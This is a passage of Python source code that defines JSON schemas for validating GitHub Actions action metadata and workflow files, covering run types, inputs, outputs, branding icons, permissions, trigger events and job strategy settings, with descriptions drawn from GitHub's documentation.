"$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#pre", "description": "Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The application specified with the `using` syntax will execute this file. The `pre:` action always runs by default but you can override this using `pre-if`.", "type": "string" }, "pre-if": { "$ref": "#/definitions/pre-if" }, "post": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#post", "description": "Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The application specified with the `using` syntax will execute this file. The `post:` action always runs by default but you can override this using `post-if`.", "type": "string" }, "post-if": { "$ref": "#/definitions/post-if" } }, "required": ["using", "main"], "additionalProperties": False }, "runs-composite": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-run-steps-actions", "description": "Configures the path to the composite action, and the application used to execute the code.", "type": "object", "properties": { "using": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsusing-1", "description": "To use a composite run steps action, set this to 'composite'.", "const": "composite" }, "steps": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runssteps", "description": "The run steps that you plan to run in this action.", "type": "array", "items": { "type": "object", "properties": { "run": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsrun", "description": "The command you want to run. This can be inline or a script in your action repository.", "type": "string" }, "shell": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsshell", "description": "The shell where you want to run the command.", "type": "string", "anyOf": [ { "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#custom-shell" }, { "enum": [ "bash", "pwsh", "python", "sh", "cmd", "powershell" ] } ] }, "uses": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsuses", "description": "Selects an action to run as part of a step in your job.", "type": "string" }, "with": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepswith", "description": "A map of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.", "type": "object" }, "name": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsname", "description": "The name of the composite run step.", "type": "string" }, "id": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsid", "description": "A unique identifier for the step. You can use the `id` to reference the step in contexts.", "type": "string" }, "if": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsif", "description": "You can use the if conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "type": "string" }, "env": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsenv", "description": "Sets a map of environment variables for only that step.", "type": "object", "additionalProperties": { "type": "string" } }, "continue-on-error": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error", "description": "Prevents a job from failing when a step fails. Set to true to allow a job to pass when this step fails.", "oneOf": [ { "type": "boolean" }, { "$ref": "#/definitions/expressionSyntax" } ], "default": False }, "working-directory": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsworking-directory", "description": "Specifies the working directory where the command is run.", "type": "string" } }, "oneOf": [ { "required": ["run", "shell"] }, { "required": ["uses"] } ], "additionalProperties": False } } }, "required": ["using", "steps"], "additionalProperties": False }, "runs-docker": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-docker-actions", "description": "Configures the image used for the Docker action.", "type": "object", "properties": { "using": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsusing-2", "description": "You must set this value to 'docker'.", "const": "docker" }, "image": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsimage", "description": "The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, use a path relative to your action metadata file. The `docker` application will execute this file.", "type": "string" }, "env": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsenv", "description": "Specifies a key/value map of environment variables to set in the container environment.", "type": "object", "additionalProperties": { "type": "string" } }, "entrypoint": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsentrypoint", "description": "Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT instruction has a *shell* form and *exec* form. The Docker `ENTRYPOINT` documentation recommends using the *exec* form of the `ENTRYPOINT` instruction.", "type": "string" }, "pre-entrypoint": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#pre-entrypoint", "description": "Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. GitHub Actions uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using `pre-if`.", "type": "string" }, "pre-if": { "$ref": "#/definitions/pre-if" }, "post-entrypoint": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#post-entrypoint", "description": "Allows you to run a cleanup script once the `runs.entrypoint` action has completed. GitHub Actions uses `docker run` to launch this action. Because GitHub Actions runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using `post-if`.", "type": "string" }, "post-if": { "$ref": "#/definitions/post-if" }, "args": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsargs", "description": "An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. GitHub passes the `args` to the container's `ENTRYPOINT` when the container starts up.\nThe `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:\n- Document required arguments in the action's README and omit them from the `CMD` instruction.\n- Use defaults that allow using the action without specifying any `args`.\n- If the action exposes a `--help` flag, or something similar, use that to make your action self-documenting.", "type": "array", "items": { "type": "string" } } }, "required": ["using", "image"], "additionalProperties": False }, "outputs": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputs", "description": "Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.\nIf you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_id", "description": "A string identifier to associate with the output. The value of `` is a map of the output's metadata. The `` must be a unique identifier within the outputs object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.", "type": "object", "properties": { "description": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_iddescription", "description": "A string description of the output parameter.", "type": "string" } }, "required": ["description"], "additionalProperties": False } }, "additionalProperties": False }, "outputs-composite": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-run-steps-actions", "description": "Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.\nIf you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_id", "description": "A string identifier to associate with the output. The value of `` is a map of the output's metadata. The `` must be a unique identifier within the outputs object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.", "type": "object", "properties": { "description": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_iddescription", "description": "A string description of the output parameter.", "type": "string" }, "value": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_idvalue", "description": "The value that the output parameter will be mapped to. You can set this to a string or an expression with context. For example, you can use the steps context to set the value of an output to the output value of a step.", "type": "string" } }, "required": ["description", "value"], "additionalProperties": False } }, "additionalProperties": False } }, "else": { "properties": { "outputs": { "$ref": "#/definitions/outputs" } } }, "if": { "properties": { "runs": { "properties": { "using": { "const": "composite" } } } } }, "properties": { "name": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#name", "description": "The name of your action. GitHub displays the `name` in the Actions tab to help visually identify actions in each job.", "type": "string" }, "author": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#author", "description": "The name of the action's author.", "type": "string" }, "description": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#description", "description": "A short description of the action.", "type": "string" }, "inputs": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputs", "description": "Input parameters allow you to specify data that the action expects to use during runtime. GitHub stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id", "description": "A string identifier to associate with the input. The value of `` is a map of the input's metadata. The `` must be a unique identifier within the inputs object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.", "type": "object", "properties": { "description": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_iddescription", "description": "A string description of the input parameter.", "type": "string" }, "deprecationMessage": { "description": "A string shown to users using the deprecated input.", "type": "string" }, "required": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_idrequired", "description": "A boolean to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.", "type": "boolean" }, "default": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_iddefault", "description": "A string representing the default value. The default value is used when an input parameter isn't specified in a workflow file.", "type": "string" } }, "required": ["description"], "additionalProperties": False } }, "additionalProperties": False }, "outputs": { "$comment": "Because of `additionalProperties: False`, this empty schema is needed to allow the `outputs` property. The `outputs` subschema is determined by the if/then/else keywords." }, "runs": { "oneOf": [ { "$ref": "#/definitions/runs-javascript" }, { "$ref": "#/definitions/runs-composite" }, { "$ref": "#/definitions/runs-docker" } ] }, "branding": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#branding", "description": "You can use a color and Feather icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in GitHub Marketplace.", "type": "object", "properties": { "color": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#brandingcolor", "description": "The background color of the badge.", "type": "string", "enum": [ "white", "yellow", "blue", "green", "orange", "red", "purple", "gray-dark" ] }, "icon": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#brandingicon", "description": "The name of the Feather icon to use.", "type": "string", "enum": [ "activity", "airplay", "alert-circle", "alert-octagon", "alert-triangle", "align-center", "align-justify", "align-left", "align-right", "anchor", "aperture", "archive", "arrow-down-circle", "arrow-down-left", "arrow-down-right", "arrow-down", "arrow-left-circle", "arrow-left", "arrow-right-circle", "arrow-right", "arrow-up-circle", "arrow-up-left", "arrow-up-right", "arrow-up", "at-sign", "award", "bar-chart-2", "bar-chart", "battery-charging", "battery", "bell-off", "bell", "bluetooth", "bold", "book-open", "book", "bookmark", "box", "briefcase", "calendar", "camera-off", "camera", "cast", "check-circle", "check-square", "check", "chevron-down", "chevron-left", "chevron-right", "chevron-up", "chevrons-down", "chevrons-left", "chevrons-right", "chevrons-up", "circle", "clipboard", "clock", "cloud-drizzle", "cloud-lightning", "cloud-off", "cloud-rain", "cloud-snow", "cloud", "code", "command", "compass", "copy", "corner-down-left", "corner-down-right", "corner-left-down", "corner-left-up", "corner-right-down", "corner-right-up", "corner-up-left", "corner-up-right", "cpu", "credit-card", "crop", "crosshair", "database", "delete", "disc", "dollar-sign", "download-cloud", "download", "droplet", "edit-2", "edit-3", "edit", "external-link", "eye-off", "eye", "facebook", "fast-forward", "feather", "file-minus", "file-plus", "file-text", "file", "film", "filter", "flag", "folder-minus", "folder-plus", "folder", "gift", "git-branch", "git-commit", "git-merge", "git-pull-request", "globe", "grid", "hard-drive", "hash", "headphones", "heart", "help-circle", "home", "image", "inbox", "info", "italic", "layers", "layout", "life-buoy", "link-2", "link", "list", "loader", "lock", "log-in", "log-out", "mail", "map-pin", "map", "maximize-2", "maximize", "menu", "message-circle", "message-square", "mic-off", "mic", "minimize-2", "minimize", "minus-circle", "minus-square", "minus", "monitor", "moon", "more-horizontal", "more-vertical", "move", "music", "navigation-2", "navigation", "octagon", "package", "paperclip", "pause-circle", "pause", "percent", "phone-call", "phone-forwarded", "phone-incoming", "phone-missed", "phone-off", "phone-outgoing", "phone", "pie-chart", "play-circle", "play", "plus-circle", "plus-square", "plus", "pocket", "power", "printer", "radio", "refresh-ccw", "refresh-cw", "repeat", "rewind", "rotate-ccw", "rotate-cw", "rss", "save", "scissors", "search", "send", "server", "settings", "share-2", "share", "shield-off", "shield", "shopping-bag", "shopping-cart", "shuffle", "sidebar", "skip-back", "skip-forward", "slash", "sliders", "smartphone", "speaker", "square", "star", "stop-circle", "sun", "sunrise", "sunset", "tablet", "tag", "target", "terminal", "thermometer", "thumbs-down", "thumbs-up", "toggle-left", "toggle-right", "trash-2", "trash", "trending-down", "trending-up", "triangle", "truck", "tv", "type", "umbrella", "underline", "unlock", "upload-cloud", "upload", "user-check", "user-minus", "user-plus", "user-x", "user", "users", "video-off", "video", "voicemail", "volume-1", "volume-2", "volume-x", "volume", "watch", "wifi-off", "wifi", "wind", "x-circle", "x-square", "x", "zap-off", "zap", "zoom-in", "zoom-out" ] } }, "additionalProperties": False } }, "required": ["name", "description", "runs"], "then": { "properties": { "outputs": { "$ref": "#/definitions/outputs-composite" } } }, "type": "object" } gha_workflow = { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions", "$schema": "http://json-schema.org/draft-07/schema", "additionalProperties": False, "definitions": { "architecture": { "type": "string", "enum": ["ARM32", "x64", "x86"] }, "branch": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags", "$ref": "#/definitions/globs", "description": "When using the push and pull_request events, you can configure a workflow to run on specific branches or tags. If you only define only tags or only branches, the workflow won't run for events affecting the undefined Git ref.\nThe branches, branches-ignore, tags, and tags-ignore keywords accept glob patterns that use the * and ** wildcard characters to match more than one branch or tag name. For more information, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet.\nThe patterns defined in branches and tags are evaluated against the Git ref's name. For example, defining the pattern mona/octocat in branches will match the refs/heads/mona/octocat Git ref. The pattern releases/** will match the refs/heads/releases/10 Git ref.\nYou can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches:\n- branches or branches-ignore - You cannot use both the branches and branches-ignore filters for the same event in a workflow. Use the branches filter when you need to filter branches for positive matches and exclude branches. Use the branches-ignore filter when you only need to exclude branch names.\n- tags or tags-ignore - You cannot use both the tags and tags-ignore filters for the same event in a workflow. Use the tags filter when you need to filter tags for positive matches and exclude tags. Use the tags-ignore filter when you only need to exclude tag names.\nYou can exclude tags and branches using the ! character. The order that you define patterns matters.\n- A matching negative pattern (prefixed with !) after a positive match will exclude the Git ref.\n- A matching positive pattern after a negative match will include the Git ref again." }, "concurrency": { "type": "object", "properties": { "group": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#example-using-concurrency-to-cancel-any-in-progress-job-or-run-1", "description": "When a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled.", "type": "string" }, "cancel-in-progress": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#example-using-concurrency-to-cancel-any-in-progress-job-or-run-1", "description": "To cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.", "oneOf": [ { "type": "boolean" }, { "type": "string" }, { "$ref": "#/definitions/expressionSyntax" } ] } }, "required": ["group"], "additionalProperties": False }, "configuration": { "oneOf": [ { "type": "string" }, { "type": "number" }, { "type": "boolean" }, { "type": "object", "additionalProperties": { "$ref": "#/definitions/configuration" } }, { "type": "array", "items": { "$ref": "#/definitions/configuration" } } ] }, "container": { "type": "object", "properties": { "image": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainerimage", "description": "The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a registry name.", "type": "string" }, "credentials": { "$comment": "https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainercredentials", "description": "If the image's container registry requires authentication to pull the image, you can use credentials to set a map of the username and password. The credentials are the same values that you would provide to the `docker login` command.", "type": "object", "properties": { "username": { "type": "string" }, "password": { "type": "string" } } }, "env": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainerenv", "$ref": "#/definitions/env", "description": "Sets an array of environment variables in the container." }, "ports": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainerports", "description": "Sets an array of ports to expose on the container.", "type": "array", "items": { "oneOf": [ { "type": "number" }, { "type": "string" } ] }, "minItems": 1 }, "volumes": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainervolumes", "description": "Sets an array of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.\nTo specify a volume, you specify the source and destination path: :\nThe is a volume name or an absolute path on the host machine, and is an absolute path in the container.", "type": "array", "items": { "type": "string", "pattern": "^[^:]+:[^:]+$" }, "minItems": 1 }, "options": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontaineroptions", "description": "Additional Docker container resource options. For a list of options, see https://docs.docker.com/engine/reference/commandline/create/#options.", "type": "string" } }, "required": ["image"], "additionalProperties": False }, "defaults": { "type": "object", "properties": { "run": { "type": "object", "properties": { "shell": { "$ref": "#/definitions/shell" }, "working-directory": { "$ref": "#/definitions/working-directory" } }, "minProperties": 1, "additionalProperties": False } }, "minProperties": 1, "additionalProperties": False }, "permissions": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#permissions", "description": "You can modify the default permissions granted to the GITHUB_TOKEN, adding or removing access as required, so that you only allow the minimum required access.", "oneOf": [ { "type": "string", "enum": ["read-all", "write-all"] }, { "$ref": "#/definitions/permissions-event" } ] }, "permissions-event": { "type": "object", "additionalProperties": False, "properties": { "actions": { "$ref": "#/definitions/permissions-level" }, "checks": { "$ref": "#/definitions/permissions-level" }, "contents": { "$ref": "#/definitions/permissions-level" }, "deployments": { "$ref": "#/definitions/permissions-level" }, "discussions": { "$ref": "#/definitions/permissions-level" }, "id-token": { "$ref": "#/definitions/permissions-level" }, "issues": { "$ref": "#/definitions/permissions-level" }, "packages": { "$ref": "#/definitions/permissions-level" }, "pages": { "$ref": "#/definitions/permissions-level" }, "pull-requests": { "$ref": "#/definitions/permissions-level" }, "repository-projects": { "$ref": "#/definitions/permissions-level" }, "security-events": { "$ref": "#/definitions/permissions-level" }, "statuses": { "$ref": "#/definitions/permissions-level" } } }, "permissions-level": { "type": "string", "enum": ["read", "write", "none"] }, "env": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/environment-variables", "description": "To set custom environment variables, you need to specify the variables in the workflow file. You can define environment variables for a step, job, or entire workflow using the jobs..steps[*].env, jobs..env, and env keywords. For more information, see https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv", "oneOf": [ { "type": "object", "additionalProperties": { "oneOf": [ { "type": "string" }, { "type": "number" }, { "type": "boolean" } ] } }, { "type": "string", "pattern": "^\\$\\{\\{\\s*(secrets|inputs)\\s*\\}\\}$" }, { "type": "string", "$comment": "https://docs.github.com/en/actions/learn-github-actions/expressions#fromjson", "pattern": "^\\$\\{\\{\\s*fromJSON\\(.*\\)\\s*\\}\\}$" } ] }, "environment": { "$comment": "https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idenvironment", "description": "The environment that the job references", "type": "object", "properties": { "name": { "$comment": "https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#example-using-a-single-environment-name", "description": "The name of the environment configured in the repo.", "type": "string" }, "url": { "$comment": "https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#example-using-environment-name-and-url", "description": "A deployment URL", "type": "string" } }, "required": ["name"], "additionalProperties": False }, "event": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows", "type": "object", "enum": [ "branch_protection_rule", "check_run", "check_suite", "create", "delete", "deployment", "deployment_status", "discussion", "discussion_comment", "fork", "gollum", "issue_comment", "issues", "label", "member", "milestone", "page_build", "project", "project_card", "project_column", "public", "pull_request", "pull_request_review", "pull_request_review_comment", "pull_request_target", "push", "registry_package", "release", "status", "watch", "workflow_call", "workflow_dispatch", "workflow_run", "repository_dispatch" ] }, "eventObject": { "oneOf": [ { "type": "object" }, { "type": "null" } ], "additionalProperties": True }, "expressionSyntax": { "type": "string", "$comment": "escape `{` and `}` in pattern to be unicode compatible (#1360)", "pattern": "^\\$\\{\\{(.|[\r\n])*\\}\\}$" }, "stringContainingExpressionSyntax": { "type": "string", "$comment": "escape `{` and `}` in pattern to be unicode compatible (#1360)", "pattern": "^.*\\$\\{\\{(.|[\r\n])*\\}\\}.*$" }, "globs": { "type": "array", "items": { "type": "string", "minLength": 1 }, "minItems": 1 }, "machine": { "type": "string", "enum": ["linux", "macos", "windows"] }, "name": { "type": "string", "pattern": "^[_a-zA-Z][a-zA-Z0-9_-]*$" }, "path": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths", "$ref": "#/definitions/globs", "description": "When using the push and pull_request events, you can configure a workflow to run when at least one file does not match paths-ignore or at least one modified file matches the configured paths. Path filters are not evaluated for pushes to tags.\nThe paths-ignore and paths keywords accept glob patterns that use the * and ** wildcard characters to match more than one path name. For more information, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet.\nYou can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow.\n- paths-ignore - Use the paths-ignore filter when you only need to exclude path names.\n- paths - Use the paths filter when you need to filter paths for positive matches and exclude paths." }, "ref": { "properties": { "branches": { "$ref": "#/definitions/branch" }, "branches-ignore": { "$ref": "#/definitions/branch" }, "tags": { "$ref": "#/definitions/branch" }, "tags-ignore": { "$ref": "#/definitions/branch" }, "paths": { "$ref": "#/definitions/path" }, "paths-ignore": { "$ref": "#/definitions/path" } }, "oneOf": [ { "type": "object", "allOf": [ { "not": { "required": ["branches", "branches-ignore"] } }, { "not": { "required": ["tags", "tags-ignore"] } }, { "not": { "required": ["paths", "paths-ignore"] } } ] }, { "type": "null" } ] }, "shell": { "$comment": "https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell", "description": "You can override the default shell settings in the runner's operating system using the shell keyword. You can use built-in shell keywords, or you can define a custom set of shell options.", "anyOf": [ { "type": "string" }, { "type": "string", "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#custom-shell", "enum": ["bash", "pwsh", "python", "sh", "cmd", "powershell"] } ] }, "types": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes", "description": "Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity. For example, the event for the release resource is triggered when a release is published, unpublished, created, edited, deleted, or prereleased. The types keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the types keyword is unnecessary.\nYou can use an array of event types. For more information about each event and their activity types, see https://help.github.com/en/articles/events-that-trigger-workflows#webhook-events.", "type": "array", "minItems": 1 }, "working-directory": { "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun", "description": "Using the working-directory keyword, you can specify the working directory of where to run the command.", "type": "string" }, "jobNeeds": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds", "description": "Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional statement that causes the job to continue.", "oneOf": [ { "type": "array", "items": { "$ref": "#/definitions/name" }, "minItems": 1 }, { "$ref": "#/definitions/name" } ] }, "reusableWorkflowCallJob": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/reusing-workflows#calling-a-reusable-workflow", "description": "Each job must have an id to associate with the job. The key job_id is a string and its value is a map of the job's configuration data. You must replace with a string that is unique to the jobs object. The must start with a letter or _ and contain only alphanumeric characters, -, or _.", "type": "object", "properties": { "name": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname", "description": "The name of the job displayed on GitHub.", "type": "string" }, "needs": { "$ref": "#/definitions/jobNeeds" }, "permissions": { "$ref": "#/definitions/permissions-event" }, "if": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif", "description": "You can use the if conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "type": ["boolean", "number", "string"] }, "uses": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_iduses", "description": "The location and version of a reusable workflow file to run as a job, of the form './{path/to}/{localfile}.yml' or '{owner}/{repo}/{path}/{filename}@{ref}'. {ref} can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security.", "type": "string", "pattern": "^(.+/)+(.+)\\.(ya?ml)(@.+)?$" }, "with": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith", "description": "A map of inputs that are passed to the called workflow. Any inputs that you pass must match the input specifications defined in the called workflow. Unlike 'jobs..steps[*].with', the inputs you pass with 'jobs..with' are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the inputs context.", "$ref": "#/definitions/env" }, "secrets": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idsecrets", "description": "When a job is used to call a reusable workflow, you can use 'secrets' to provide a map of secrets that are passed to the called workflow. Any secrets that you pass must match the names defined in the called workflow.", "oneOf": [ { "$ref": "#/definitions/env" }, { "type": "string", "enum": ["inherit"] } ] }, "strategy": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy", "description": "A strategy creates a build matrix for your jobs. You can define different variations of an environment to run each job in.", "type": "object", "properties": { "matrix": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix", "description": "A build matrix is a set of different configurations of the virtual environment. For example you might run a job against more than one supported version of a language, operating system, or tool. Each configuration is a copy of the job that runs and reports a status.\nYou can specify a matrix by supplying an array for the configuration options. For example, if the GitHub virtual environment supports Node.js versions 6, 8, and 10 you could specify an array of those versions in the matrix.\nWhen you define a matrix of operating systems, you must set the required runs-on keyword to the operating system of the current job, rather than hard-coding the operating system name. To access the operating system name, you can use the matrix.os context parameter to set runs-on. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "oneOf": [ { "type": "object" }, { "$ref": "#/definitions/expressionSyntax" } ], "patternProperties": { "^(in|ex)clude$": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#example-including-configurations-in-a-matrix-build", "type": "array", "items": { "type": "object", "additionalProperties": { "$ref": "#/definitions/configuration" } }, "minItems": 1 } }, "additionalProperties": { "oneOf": [ { "type": "array", "items": { "$ref": "#/definitions/configuration" }, "minItems": 1 }, { "$ref": "#/definitions/expressionSyntax" } ] }, "minProperties": 1 }, "fail-fast": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast", "description": "When set to true, GitHub cancels all in-progress jobs if any matrix job fails. Default: true", "type": ["boolean", "string"], "default": True }, "max-parallel": { 